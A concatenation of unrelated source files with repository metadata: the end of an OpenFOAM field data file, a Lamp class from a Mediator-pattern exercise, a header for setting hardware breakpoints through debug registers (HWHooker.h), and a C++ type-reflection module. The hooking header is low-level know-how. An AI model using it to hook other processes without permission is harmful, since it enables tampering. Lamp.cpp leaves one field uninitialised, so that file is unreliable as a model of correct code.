1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
)
;
boundaryField
{
emptyPatches_empt
{
type empty;
}
top_cyc
{
type cyclic;
}
bottom_cyc
{
type cyclic;
}
inlet_cyc
{
type cyclic;
}
outlet_cyc
{
type cyclic;
}
}
// ************************************************************************* //
| [
"tdg@debian"
] | tdg@debian | |
0cd7c36f1135c7b6a35b8198976a6f2ab9ffc756 | a5209ab3ea66431403af5ee49bbe615c47e79aed | /Mediator/src/lamp.cpp | 3bbef7de55277d742d901373b7993bd16a3fa4b1 | [] | no_license | kkangzzoo/GoF | 2f2a203ef80712de766e8b6d8943ba80f8a936fb | b5491dea60d3fa4151f0017f856f291b05f8960f | refs/heads/master | 2021-09-03T21:21:38.685492 | 2018-01-12T03:32:02 | 2018-01-12T03:32:02 | 115,579,446 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 971 | cpp | /*
* lamp.cpp
*
* Created on: 2018. 1. 12.
* Author: daum
*/
#include "lamp.h"
Lamp::Lamp(){
mixerOutLamp_=resourceLackLamp_=coinLackLamp_=coinFullLamp_=LAMP_OFF;
}
void Lamp::TurnOnOffMixerOut(int onOff){ mixerOutLamp_=onOff; }
void Lamp::TurnOnOffResourceLack(int onOff){ resourceLackLamp_=onOff; }
void Lamp::TurnOnOffCoinLack(int onOff){ coinLackLamp_=onOff; }
void Lamp::TurnOnOffCoinFull(int onOff){ coinFullLamp_=onOff; }
void Lamp::TurnOnOffBillFull(int onOff){ billFullLamp_=onOff; }
bool Lamp::IsMixerOut(){
if(mixerOutLamp_==LAMP_ON) return true;
else return false;
}
bool Lamp::IsResourceLack(){
if(resourceLackLamp_==LAMP_ON) return true;
else return false;
}
bool Lamp::IsCoinLack(){
if(coinLackLamp_==LAMP_ON) return true;
else return false;
}
bool Lamp::IsCoinFull(){
if(coinFullLamp_==LAMP_ON) return true;
else return false;
}
bool Lamp::IsBillFull(){
if(billFullLamp_==LAMP_ON) return true;
else return false;
}
| [
"daum@DAUM212.daumschool.co.kr"
] | daum@DAUM212.daumschool.co.kr |
9c583af0ee1ca26f2a471540990355dac2169bc6 | 43f3ae12580f1efef3eed08bccdb6cef0bfbed89 | /C/SetBreakPoint/HWHooker.h | e1fbbedb3cc4d8dc85e6542732a7900051ac4cec | [] | no_license | AkioSky/Desktop | d9ba63546965ae2f503e40dcb462b8f0f00c4a34 | e32054c91f3db4c9b6743b9c7f34336f2f1b0ccb | refs/heads/master | 2020-08-03T22:04:44.941732 | 2016-11-12T08:47:00 | 2016-11-12T08:47:00 | 73,536,096 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,029 | h | #ifndef _HWHOOKER_H
#define _HWHOOKER_H
//#include "ArrayClass.h"
//#include "Unit1.h"
#include <stdio.h>
#include <tlhelp32.h>
#include <Ntsecapi.h>
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING n, ULONG a, PVOID r, PVOID s);
/*
#define InitializeObjectAttributes( p, n, a, r, s ) {
(p)->Length = sizeof( OBJECT_ATTRIBUTES );
(p)->RootDirectory = r;
(p)->Attributes = a;
(p)->ObjectName = n;
(p)->SecurityDescriptor = s;
(p)->SecurityQualityOfService = NULL;
}
*/
typedef struct _CLIENT_ID
{
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef NTSTATUS (WINAPI *NTOPENTHREAD)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
typedef NTSTATUS (WINAPI *NTGETCONTEXTTHREAD)(HANDLE, LPCONTEXT);
class BREAKPOINT
{
public:
LPVOID address;
DWORD type; //0 = break on execute, 1 = on write, 3 = on access
DWORD size; //breakpoint size 1, 2, or 4
DWORD dbgreg; // 0 - 3 //debug registers 1-4
CArray<UINT, UINT> threads;
BREAKPOINT();
~BREAKPOINT();
};
class HWHooker
{
private:
void GetAllThreads();
public:
NTOPENTHREAD NtOpenThread;
CArray<UINT, UINT> *threads;
CArray<PVOID, PVOID> *breakpoints;
PVOID ExceptionHandler;
int handlingexceptions;
HWHooker();
~HWHooker();
int SetSingleBP(BREAKPOINT *bp, DWORD threadid);
int SetBreakpoint(DWORD type, DWORD bpsize, LPVOID address, DWORD pThreadID);
//int RemoveBreakpoint(DWORD DbgRegister); //not yet implemented
int ResetAll(); //unset + delete all breakpoints
};
inline void SETBITS(unsigned long& dw, int lowBit, int bits, int newValue)
{
int mask = (1 << bits) - 1;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
}
#endif | [
"whitebirdinbluesky1990@gmail.com"
] | whitebirdinbluesky1990@gmail.com |
1fe422dd30dc9306fb1a303210a3f5b48e4b68d1 | ae68b9189649f2e97dca09ae9eea6f993fffd8fa | /Core/CoreTypeinfo.cpp | f49d48c7568d8c19d4e9534b28149ac0b4cd14ef | [
"BSD-3-Clause"
] | permissive | wahello/SkelEdit | f7edd9af6234d2ce42128d3d5d664f9d120aadba | 7e413703962e3618b2c52f2a08bf6a0da46e3ab9 | refs/heads/master | 2023-03-15T13:08:58.077392 | 2020-02-29T09:04:16 | 2020-02-29T09:04:16 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 14,610 | cpp | #include "Core.h"
//#define SHOW_TYPEINFO 1 // define to 1 for debugging typeinfo reading
/*-----------------------------------------------------------------------------
Type serialization consts
Should correspond to TYPE_XXX and PROP_XXX declarations from "Tools/ucc"
-----------------------------------------------------------------------------*/
enum
{
TYPE_SCALAR,
TYPE_ENUM,
TYPE_STRUCT,
TYPE_CLASS
};
#define PROP_EDITABLE 1
#define PROP_EDITCONST 2
#define PROP_NORESIZE 4
#define PROP_NOADD 8
#define PROP_NOEXPORT 16
#define PROP_TRANSIENT 32
#define PROP_NATIVE 64
/*-----------------------------------------------------------------------------
CType class
-----------------------------------------------------------------------------*/
static TArray<CType*> GTypes;
static CMemoryChain *TypeChain;
const CType *FindType(const char *Name, bool ShouldExist)
{
for (int i = 0; i < GTypes.Num(); i++)
if (!strcmp(GTypes[i]->TypeName, Name))
return GTypes[i];
if (ShouldExist)
appError("unknown type \"%s\"", Name);
return NULL;
}
CType::CType(const char *AName, unsigned ASize, unsigned AAlign)
: TypeName(appStrdup(AName, TypeChain))
, TypeSize(ASize)
, TypeAlign(AAlign)
, IsStruc(false)
, IsEnum(false)
{
guard(RegisterType);
if (!AAlign)
TypeAlign = ASize;
if (FindType(AName, false))
appError("Type %s is already registered", AName);
GTypes.AddItem(this);
unguard;
}
bool CType::WriteProp(const CProperty *Prop, COutputDevice &Out, void *Data) const
{
return false;
}
bool CType::ReadProp(const CProperty *Prop, const char *Text, void *Data) const
{
return false;
}
/*-----------------------------------------------------------------------------
CEnum class
-----------------------------------------------------------------------------*/
void CEnum::AddValue(const char *Name)
{
Names.AddItem(appStrdup(Name, TypeChain));
}
/*-----------------------------------------------------------------------------
CStruct class
-----------------------------------------------------------------------------*/
CProperty *CStruct::AddField(const char *AName, const char *ATypeName, int ArraySize)
{
guard(AddField);
// create new property
const CType *Type = FindType(ATypeName);
CProperty *Prop = new (TypeChain) CProperty(this, AName, Type, ArraySize);
// find a place in structure and check for name duplicates
CProperty *last = NULL;
for (CProperty *curr = FirstProp; curr; curr = curr->NextProp)
{
if (!strcmp(curr->Name, Prop->Name))
appError("Structure \"%s\" already has property \"%s\"", Type->TypeName, Prop->Name);
last = curr;
}
// link property
if (last)
last->NextProp = Prop;
else
FirstProp = Prop;
// handle alignments, advance size
unsigned propAlign = Type->TypeAlign;
if (Prop->ArrayDim < 0)
propAlign = max(sizeof(void*), sizeof(int)); // alignment of CArray
TypeSize = Align(TypeSize, propAlign); // alignment for new prop
Prop->StructOffset = TypeSize; // remember property offset
if (Prop->ArrayDim < 0) // dynamic array (TArray<>)
{
TypeSize += sizeof(CArray);
}
else if (Prop->ArrayDim > 0) // update structure size for array
{
TypeSize += Type->TypeSize * Prop->ArrayDim;
}
else // scalar property
{
TypeSize += Type->TypeSize;
}
TypeAlign = max(TypeAlign, propAlign); // update structure alignment requirement
// update property counts
NumProps++;
TotalProps++;
return Prop;
unguardf(("%s", AName));
}
void CStruct::Finalize()
{
TypeSize = Align(TypeSize, TypeAlign);
}
void CStruct::Dump(int indent) const
{
if (indent > 32)
indent = 32;
char buf[48];
memset(buf, ' ', sizeof(buf));
buf[indent+4] = 0;
appPrintf("%s### %s (sizeof=%02X, align=%d):\n%s{\n", buf+4, TypeName, TypeSize, TypeAlign, buf+4);
for (int i = 0; /* empty */ ; i++)
{
const CProperty *Prop = IterateProps(i);
if (!Prop) break;
appPrintf("%s[%2X] %-10s %s[%d]\n", buf, Prop->StructOffset, Prop->TypeInfo->TypeName, Prop->Name, Prop->ArrayDim);
if (Prop->TypeInfo->IsStruc)
((CStruct*)Prop->TypeInfo)->Dump(indent+4);
}
appPrintf("%s}\n", buf+4);
}
void CStruct::WriteText(COutputDevice *Out, void *Data, int Indent) const
{
guard(CStruct::WriteText);
if (Indent > 32)
Indent = 32;
char buf[48];
memset(buf, ' ', sizeof(buf));
buf[Indent] = 0;
for (int i = 0; /* empty */ ; i++)
{
const CProperty *Prop = IterateProps(i);
if (!Prop) break;
guard(WriteProp);
const char *PropTypeName = Prop->TypeInfo->TypeName;
if (Prop->IsDynamicArray() || Prop->IsStaticArray())
continue; //?? arrays are not yet unsupported ...
void *varData = OffsetPointer(Data, Prop->StructOffset);
Out->Printf("%s%s = ", buf, Prop->Name);
if (Prop->TypeInfo->WriteProp(Prop, *Out, varData))
{
// do nothing
}
else if (Prop->TypeInfo->IsStruc) //?? recurse; check for rework; no {} when indent<0 ??
{
Out->Printf("{\n", buf);
((CStruct*)Prop->TypeInfo)->WriteText(Out, varData, Indent+2);
Out->Printf("%s}", buf);
}
else
{
appNotify("WriteText for unsupported type %s (struct %s)", PropTypeName, TypeName);
Out->Printf("(unsupported %s)", PropTypeName);
}
Out->Printf("\n");
unguardf(("%s", *Prop->Name));
}
unguardf(("%s", TypeName));
}
bool CStruct::ReadText(const char* SrcText, void *Data) const
{
CSimpleParser Text;
Text.InitFromBuf(SrcText);
return ReadText(Text, Data, 0);
}
bool CStruct::ReadText(CSimpleParser &Text, void *Data, int Level) const
{
guard(CStruct::ReadText);
while (const char *line = Text.GetLine())
{
// appPrintf("Read: [%s]\n", line);
// check for end of structure block
if (!strcmp(line, "}"))
{
if (Level == 0)
{
appNotify("CStruct::ReadText: mismatched closing brace (})");
return false;
}
return true;
}
// here: line should be in one of following formats:
// FieldName = Value -- for scalars
// FieldName = { -- for structures
// Separate FieldName and Valie
TString<2048> FieldName; // buffer for whole line, placed null char as delimiter
FieldName = line;
char *delim = FieldName.chr('=');
const char *value = delim + 1;
if (!delim)
{
appNotify("CStruct::ReadText: '=' expected in \"%s\"", line);
return false;
}
// trim trailing spaces
while (delim > *FieldName && delim[-1] == ' ')
delim--;
*delim = 0;
// seek leading spaces for value
while (*value == ' ')
value++;
// find field 'FieldName'
const CProperty *Prop = FindProp(FieldName);
if (!Prop)
{
appNotify("CStruct::ReadText: property \"%s\" was not found in \"%s\"", *FieldName, TypeName);
continue;
}
// parse property
void *varData = OffsetPointer(Data, Prop->StructOffset);
const char *PropTypeName = Prop->TypeInfo->TypeName;
if (Prop->TypeInfo->ReadProp(Prop, value, varData))
{
// do nothing
}
else if (Prop->TypeInfo->IsStruc)
{
if (strcmp(value, "{") != 0)
{
appNotify("CStruct::ReadText: '{' expected for \"%s %s\"", PropTypeName, *FieldName);
return false;
}
bool result = ((CStruct*)Prop->TypeInfo)->ReadText(Text, varData, Level+1);
if (!result) return false;
}
else
{
appNotify("ReadText for unsupported type %s (struct %s)", PropTypeName, TypeName);
return false;
}
}
return true;
unguardf(("%s", TypeName));
}
const CProperty *CStruct::FindProp(const char *Name) const
{
// check for local property
for (const CProperty *Prop = FirstProp; Prop; Prop = Prop->NextProp)
if (!strcmp(Prop->Name, Name))
return Prop;
// check for parent structure property
if (ParentStruct)
return ParentStruct->FindProp(Name);
// not found ...
return NULL;
}
const CProperty *CStruct::IterateProps(int Index) const
{
if (Index < 0 || Index >= TotalProps)
return NULL; // out of property array bounds
// check parent class
int numParentProps = TotalProps - NumProps;
if (Index < numParentProps)
{
assert(ParentStruct);
return ParentStruct->IterateProps(Index);
}
// find property
const CProperty *Prop;
int i;
for (i = numParentProps, Prop = FirstProp; i < Index; i++, Prop = Prop->NextProp)
{
// empty
assert(Prop);
}
return Prop;
}
void CStruct::DestructObject(void *Data)
{
guard(CStruct::DestructObject);
for (int i = 0; /* empty */ ; i++)
{
const CProperty *Prop = IterateProps(i);
if (!Prop) break;
void *varData = OffsetPointer(Data, Prop->StructOffset);
int varCount = 1;
// process arrays
CArray *Arr = NULL;
if (Prop->IsDynamicArray())
{
Arr = (CArray*)varData;
varCount = Arr->DataCount;
varData = Arr->DataPtr;
}
else if (Prop->IsStaticArray())
varCount = Prop->ArrayDim;
// process structures recursively
if (Prop->TypeInfo->IsStruc)
for (int index = 0; index < varCount; index++, varData = OffsetPointer(varData, Prop->TypeInfo->TypeSize))
((CStruct*)Prop->TypeInfo)->DestructObject(varData);
// -- process types, which needs destruction, here ...
// free dynamic array
if (Arr)
Arr->Empty(0, 0);
}
unguardf(("%s", TypeName));
}
/*-----------------------------------------------------------------------------
CProperty class
-----------------------------------------------------------------------------*/
CProperty::CProperty(CStruct *AOwner, const char *AName, const CType *AType, int AArrayDim)
: Name(appStrdup(AName, TypeChain))
, TypeInfo(AType)
, ArrayDim(AArrayDim)
, NextProp(NULL)
, Owner(AOwner)
, StructOffset(0)
, IsEditable(false)
, IsReadonly(false)
, IsAddAllowed(true)
, IsDeleteAllowed(true)
, Comment(NULL)
, Category(NULL)
{}
/*-----------------------------------------------------------------------------
Typeinfo file support
-----------------------------------------------------------------------------*/
void ParseTypeinfoFile(CArchive &Ar)
{
guard(ParseTypeinfoFile);
while (true)
{
TString<256> TypeName;
Ar << TypeName;
if (!TypeName[0]) break; // end marker
guard(ParseType);
int typeKind;
Ar << AR_INDEX(typeKind);
switch (typeKind)
{
case TYPE_SCALAR:
appError("TYPE_SCALAR should not appear!");
break;
case TYPE_ENUM:
{
CEnum *Enum = new (TypeChain) CEnum(TypeName);
#if SHOW_TYPEINFO
appPrintf("Reading enum [%s]\n", *TypeName);
#endif
while (true)
{
TString<256> EnumItem;
Ar << EnumItem;
if (!EnumItem[0]) break; // end marker
#if SHOW_TYPEINFO
appPrintf(" . [%s]\n", *EnumItem);
#endif
Enum->AddValue(EnumItem);
}
}
break;
case TYPE_CLASS:
case TYPE_STRUCT:
{
CStruct *Struc;
const CStruct *Parent = NULL;
TString<256> ParentName;
Ar << ParentName;
if (ParentName[0])
{
const CType *Parent2 = FindType(ParentName);
if (!Parent2->IsStruc)
appError("%s derived from non-structure type %s", *TypeName, *ParentName);
Parent = (CStruct*)Parent2;
}
if (typeKind == TYPE_CLASS)
{
Struc = new (TypeChain) CStruct(TypeName, Parent); //!! here: use CClass ?
}
else
{
Struc = new (TypeChain) CStruct(TypeName, Parent);
}
#if SHOW_TYPEINFO
appPrintf("struct [%s] : [%s]\n", *TypeName, *ParentName);
#endif
// read fields
while (true)
{
TString<256> FieldName, FieldType, EditorGroup;
TString<1024> Comment;
int ArrayDim;
unsigned Flags;
// read name
Ar << FieldName;
if (!FieldName[0]) break; // end marker
// read other fields
Ar << FieldType << AR_INDEX(ArrayDim) << Flags << Comment << EditorGroup;
#if SHOW_TYPEINFO
appPrintf(" . field [%s] %s[%d] (F=%X) /* %s */ GRP=[%s]\n",
*FieldName, *FieldType, ArrayDim, Flags, *Comment, *EditorGroup);
#endif
// create property
CProperty *Prop = Struc->AddField(FieldName, FieldType, ArrayDim);
// fill other fields
Prop->IsEditable = (Flags & PROP_EDITABLE) != 0;
Prop->IsReadonly = (Flags & PROP_EDITCONST) != 0;
Prop->IsAddAllowed = (Flags & (PROP_NOADD|PROP_NORESIZE)) == 0;
Prop->IsDeleteAllowed = (Flags & PROP_NORESIZE) == 0;
Prop->Category = (Prop->IsEditable && EditorGroup[0]) ?
appStrdup(EditorGroup, TypeChain) : NULL;
Prop->Comment = (Prop->IsEditable && Comment[0]) ?
appStrdup(Comment, TypeChain) : NULL;
}
Struc->Finalize();
}
break;
default:
appError("unknown kind %d for type %s", typeKind, *TypeName);
}
unguardf(("%s", *TypeName));
}
unguard;
}
/*-----------------------------------------------------------------------------
Support for standard types
-----------------------------------------------------------------------------*/
// here to disable warning ...
inline bool atob(const char *str)
{
return atoi(str) != 0;
}
#define NUMERIC_TYPE(TypeName, NatType, WriteFormat, ReadFunc) \
class C##TypeName##Type : public CType \
{ \
public: \
C##TypeName##Type() \
: CType(#TypeName, sizeof(NatType)) \
{} \
virtual bool WriteProp(const CProperty *Prop, COutputDevice &Out, void *Data) const \
{ \
Out.Printf(WriteFormat, *(NatType*)Data); \
return true; \
} \
virtual bool ReadProp(const CProperty *Prop, const char *Text, void *Data) const \
{ \
*(NatType*)Data = ReadFunc; \
return true; \
} \
};
NUMERIC_TYPE(bool, bool, "%d", atob(Text))
NUMERIC_TYPE(byte, byte, "%d", atoi(Text))
NUMERIC_TYPE(short, short, "%d", atoi(Text))
NUMERIC_TYPE(ushort, word, "%d", atoi(Text))
NUMERIC_TYPE(int, int, "%d", atoi(Text))
NUMERIC_TYPE(unsigned, unsigned, "%d", atoi(Text))
NUMERIC_TYPE(float, float, "%g", atof(Text))
NUMERIC_TYPE(double, double, "%g", strtod(Text, NULL))
class CStringType : public CType
{
public:
CStringType()
: CType("string", 1) // real length is stored as array size
{}
virtual bool WriteProp(const CProperty *Prop, COutputDevice &Out, void *Data) const
{
char buf[2048];
appQuoteString(ARRAY_ARG(buf), (char*)Data);
Out.Write(buf);
return true;
}
virtual bool ReadProp(const CProperty *Prop, const char *Text, void *Data) const
{
appUnquoteString((char*)Data, Prop->ArrayDim, Text);
return true;
}
};
void InitTypeinfo(CArchive &Ar)
{
TypeChain = new CMemoryChain;
// register standard types
#define N(Name) new (TypeChain) C##Name##Type;
new (TypeChain) CStringType;
N(bool)
N(byte)
N(short)
N(ushort)
N(int)
N(unsigned)
N(float)
N(double)
#define T2(name1, name2) new (TypeChain) CType(#name1, sizeof(name2));
T2(pointer, void*)
#undef T2
#undef N
// read typeinfo file
ParseTypeinfoFile(Ar);
}
| [
"git@gildor.org"
] | git@gildor.org |
